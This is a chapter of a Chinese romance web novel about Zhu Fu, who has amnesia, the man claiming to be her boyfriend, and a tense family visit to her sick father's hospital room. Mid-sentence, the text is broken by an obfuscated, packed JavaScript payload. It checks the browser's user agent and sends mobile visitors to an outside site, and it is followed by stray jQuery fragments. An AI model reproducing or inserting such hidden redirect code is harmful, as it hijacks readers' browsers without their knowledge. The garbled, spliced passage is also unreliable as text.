40. 失忆

作品:《泡芙陷阱

    满嘴的胡话,祝芙才不信。


    她可还记得刚才祝蕖提到了他旁若无人的嚣张行径,和现在的垂眉顺眼一点儿都不搭边。


    “是吗?”祝芙随口一问,低头尝了一口粥。


    是生滚鱼粥。粥米细滑得还来不及触碰舌尖便流入了喉中,鱼片娇嫩,入口即化,鲜甜存留与齿颊之间,的确是她喜欢的味道。


    口中的黏腻不适感终于彻底消散,祝芙的表情轻松了一点,“芥末呢?”


    “在家里,”孟知聿说,“你要看它吗?”


    “嗯。”


    孟知聿在手机界面上操作了几下,伸手递到她的面前,屏幕正中是一个小木屋,芥末趴在拱形木门里闭着眼,似乎在睡觉。


    “你可以和它说话,它能听见。”


    话音落下,芥末便睁开了眼睛径直朝着摄像头的方向走了过来,屏幕里只剩下了它的鼻头和哼哧哼哧的声音。


    祝芙情不自禁地弯起嘴角,柔着声叫它:“芥末,后退,让妈妈看看宝宝。”


    芥末听话地朝后面退了几步,目不转睛地看着镜头,趴在了地上。


    她现存的记忆里芥末还在娇娇家里,折算下来有好长时间没见到它了,还想再看一会儿,孟知聿已经把手机收进了口袋,面无表情地看着她,冷着声僵硬地说:“粥要冷了,快吃。”


    嗯?


    “医生说你不能长时间看手机。”他继续说。


    一分钟算长时间的话。


    祝芙假笑,愤愤地喝了一口粥,觉得还是气不过,“孟知聿你有病!”


    “嗯,”被骂的孟知聿不仅没有生气,反而勾起了一抹浅笑,“我做得粥不好吃吗,我不好看吗?”


    “你和一条狗比?”


    “它是你的宝宝。”


    “所以呢?”


    “不是普通的狗。”


    无语。


    祝芙撇了一个白眼,扬起下巴,和他较起了莫名其妙的劲,恣意道:“粥冷了不喝了。”


    “那吃鸡蛋羹。”孟知聿接话。


    “咳咳……”梁娇娇听不下去,打断了他们幼稚的对话,抱着手臂拱火,故意说:“陆砚深让我转告你,他遇到了私生,所以不能上来了。”


    “哦。”祝芙不甚在意地点头回应。


    她刚才看了微信,陆砚深的对话框被压在很下面,聊天的内容也不热络,除了工作来往,大部分的对话都是单向。她和他真实的关系还需要再斟酌。


    “公众人物就是麻烦。”孟知聿状若无意地搭话。


    梁娇娇扭头,掩着唇笑,“换洗的衣物和洗漱用品都在袋子里,没事的话我先走了。”


    “让他陪你可以吗?”她半路折返。


    “可以。”孟知聿抢着回答。


    梁娇娇似笑非笑,挑着眉梢,挤开了杵在床边的男人,占着他原本的位置对祝芙挤了挤眼,无声地做了一个口型。


    训狗?


    祝芙看懂了,歪着头不解。


    梁娇娇没有解释,围着他绕了半圈,摇着头连声咋舌,拎起包向外走,合上门之际又向祝芙招了招手,“走了,明天再来看你。”


    “拜拜。”


    梁娇娇离开之后,病房里也跟着安静下来。


    孟知聿靠坐在墙边的沙发上,虚握着脖子,手指有节奏地轻敲肌肤,眼神一错不错地盯着她,晦暗不清。


    祝芙只看了一眼便低下了头,粥其实还温着,恰能入口,她一口粥一口蛋一口配菜,吃得很认真,但并不舒坦。他的眼神太过侵略,带着说不清道不明的复杂,像一支箭矢,凭空刺入了心底。


    “别看我。”


    “噢。”


    孟知聿答应得很痛快,微微耷下了眼角,不过是“箭矢”移开了方向,波及到的若有似无的目光像是投掷到湖面的石子,依旧可以让心底泛起涟漪。


    祝芙吃了几口便放下了勺子,倚着床头,闭上了眼。


    “你不吃了?”


    “嗯。”


    “我不看你,你继续吃。”


    祝芙摇头拒绝。


    “对不起,”他的声音开始慌张,“我只是怕……”


    怕一会儿没见到你就出了意外。


    这话太过不吉利,他又连忙咽了回去。


    天知道他刚听说祝芙出了车祸的消息心里有多害怕。心脏悬浮在喉间,似乎停了很长时间才开始高速跳跃,大脑一片空白,之后看到她闭着眼的安静模样,他内心只有一个念头:醒过来,哪怕不记得他。


    她的确失忆了,可唯独只忘记了他。


    祝芙睁开眼睛,一眼便看到了他俊逸的脸庞和触目的无措眼眸。她叹了一口气,轻轻地抚着他的脸颊,柔声问:“你不是我的男朋友吗?为什么这么小心翼翼?”


    他一时不知该说什么,须臾又反应过来,何不借此机会……


    “还是说……你在骗我?”


    “当然没有,”孟知聿紧张地吞咽,移开眼神,又直直地看着她,“不是小心翼翼,只是我担心你。”


    “嗯,”祝芙缓缓地点了点头,掀开被子,艰难起身,“陪我去看一下我爸。”


    “小心,动作慢点,”孟知聿搀着她的手臂站稳,揽着腰向前,关切地问:“头晕吗?有没有哪里不舒服。”


    祝芙摇摇头,轻轻笑了笑,虚着声音回答:“还好,走吧。”


    -


    “你爸入院这么长时间了也不见人影,没良心的白眼狼!”


    隔着一道门,戚蓉尖锐的嗓音被截断了一些,不满却清晰地从门缝里钻了出来。祝芙握着门把手的动作一顿,垂着眼眸,轻轻地把门带上了一些。


    “还有你,刚才去哪里了?”音调降了一些,但是听着依旧刺耳。


    没有听见应答声,倒是断断续续地响起了闷重的咳嗽声,祝芙锁着眉透过门上的玻璃小窗望了进去,戚蓉端着水杯急冲冲地走床边,忧心忡忡地拍着祝国荣的脊背顺气,终于不再有精力谩骂。


    “不进去吗?”孟知聿问。


    祝芙压下扶手,向前推开一丝狭窄的门缝,戚蓉的说话声逐渐清晰,她的声音隐约夹着哭腔,不停地重复着“怎么办怎么办”,无人响应,屋内一片死寂。


    她深呼了一口气,推门而入。


    祝国荣偏着头半卧在病床上,面色有些发青,虽然闭着眼,可是眉心紧紧蹙着,嘴角撇向下,看着有些不耐烦。祝蕖和戚蓉各占一边,一个垂着头在看手机,一个嘴里念念有词。


    祝芙短暂地闭了闭眼,走到床边,面无表情地喊了一声,“爸。”


    戚蓉瞬间打起了精神,看她鼻子不是鼻子,眼睛不是眼睛,目光上下扫视,带着肉眼可见的挑剔,阴阳怪气地嘲讽道:“你还知道来啊?”


    祝国荣眼角的皱纹颤了颤,微不可查地叹了一口气,没有睁眼,只是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504072|183812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把头又侧过来了一点。


    “现在还好吗?”祝芙没理她,又问。


    “嗯。”祝国荣从鼻间挤出一道短促的应声。


    “什么时候安排手术?”


    “医生说爸的血压有点高,要先稳定血压,最快也要明天。”


    祝芙点了点头,“手术后的方案医生说了吗?”


    “要根据手术结果,病理切片,还有淋巴的转移情况来制定,大概率是要化疗一段时间。”


    “噢……”


    “你还好吗?饭吃了吗?”


    “吃过了,你们呢?”


    “嗯。”


    “……”


    姐妹俩一来一往的交谈冲淡了一些病房里的压抑,祝国荣睁开眼,眉眼难得松了一些,压着嗓子轻咳,“公司的事就暂时交给你们了。”


    祝蕖点头,“放心吧,爸。”


    祝芙有意缓解气氛,扬起嘴角,笑着说:“保证你出院之后看到一个健康的循迹!”


    不知道是那一句话触痛了戚蓉,她倏地板起脸,指着祝芙,气势汹汹地叫骂:“都什么时候了还整天嬉皮笑脸没个正形!”


    “你够了没?”祝芙冷着脸反问。


    “妈!够了!”祝蕖异口同声。


    “你们什么意思!”戚蓉瞬间像是点燃了的炮仗,指着她们的鼻子,大步走到她们跟前,不由分说地谩骂,“翅膀硬了是不是……”


    祝国荣叹了一口气,又闭上了眼。


    “难道要我哭吗?”祝芙一把挥开了她横在眼前的手臂,啪得一声,手背有些发麻,她沉这脸不悦地说,“哭丧吗?哭有用吗?”


    “看你哭爸心里好受吗?”


    “还是要我陪着你从天骂到地,”祝芙踉跄着后退了半步,察觉到腰间有一道力量支撑着她的身体,她怔愣了一下,不耐烦地蹙着眉,“你能别像个泼妇一样吗?”


    脑袋里像是有一个不速之客一直在敲敲打打,刺痛绕着一周遍及,头痛得要爆炸。


    祝蕖扶着她坐在沙发上,担忧地问:“你还好吗?”


    “没事,后遗症,没这么快。”祝芙弱倦地摆了摆手。


    不知道是不是被祝芙说服了,戚蓉终于安静了,握着祝国荣的手,一下一下地抚着他的头。


    祝国荣睁眼,说:“我头有点痛。”


    “没事吧?你等等,我去找医生。”


    祝国荣借口头疼把戚蓉支了出去,叹了一口气,看着两姐妹,张了张嘴,又叹了一口气,声音有些沧桑,“你妈她就是刀子嘴豆腐心,别往心里去。”


    “你不介意就行,”祝芙耸了耸肩,“我无所谓。”


    祝国荣又把目光移向祝蕖,“你也别放在心上,从小到大你妈对你最好了。”


    “……”祝蕖沉默了很久才在祝芙的注视下点了点头。


    祝国荣扯了扯嘴角,自认为安抚好了两人的情绪,把话题扯到了正事上,“祝芙,你和孟知聿到底是怎么回事?”


    门上的玻璃窗有一道人影一闪而过。


    “姐不是和你说过了吗?”祝芙朝门的方向瞥了一眼,漫不经心地说。


    “那陆砚深又是什么情况?”


    咔哒——门口响起细微的锁扣声。


    祝芙挑起眉梢,理直气壮,“我失忆了。”


    “他们俩个都说是我的男朋友。”


    “我怎么知道究竟怎么回事?”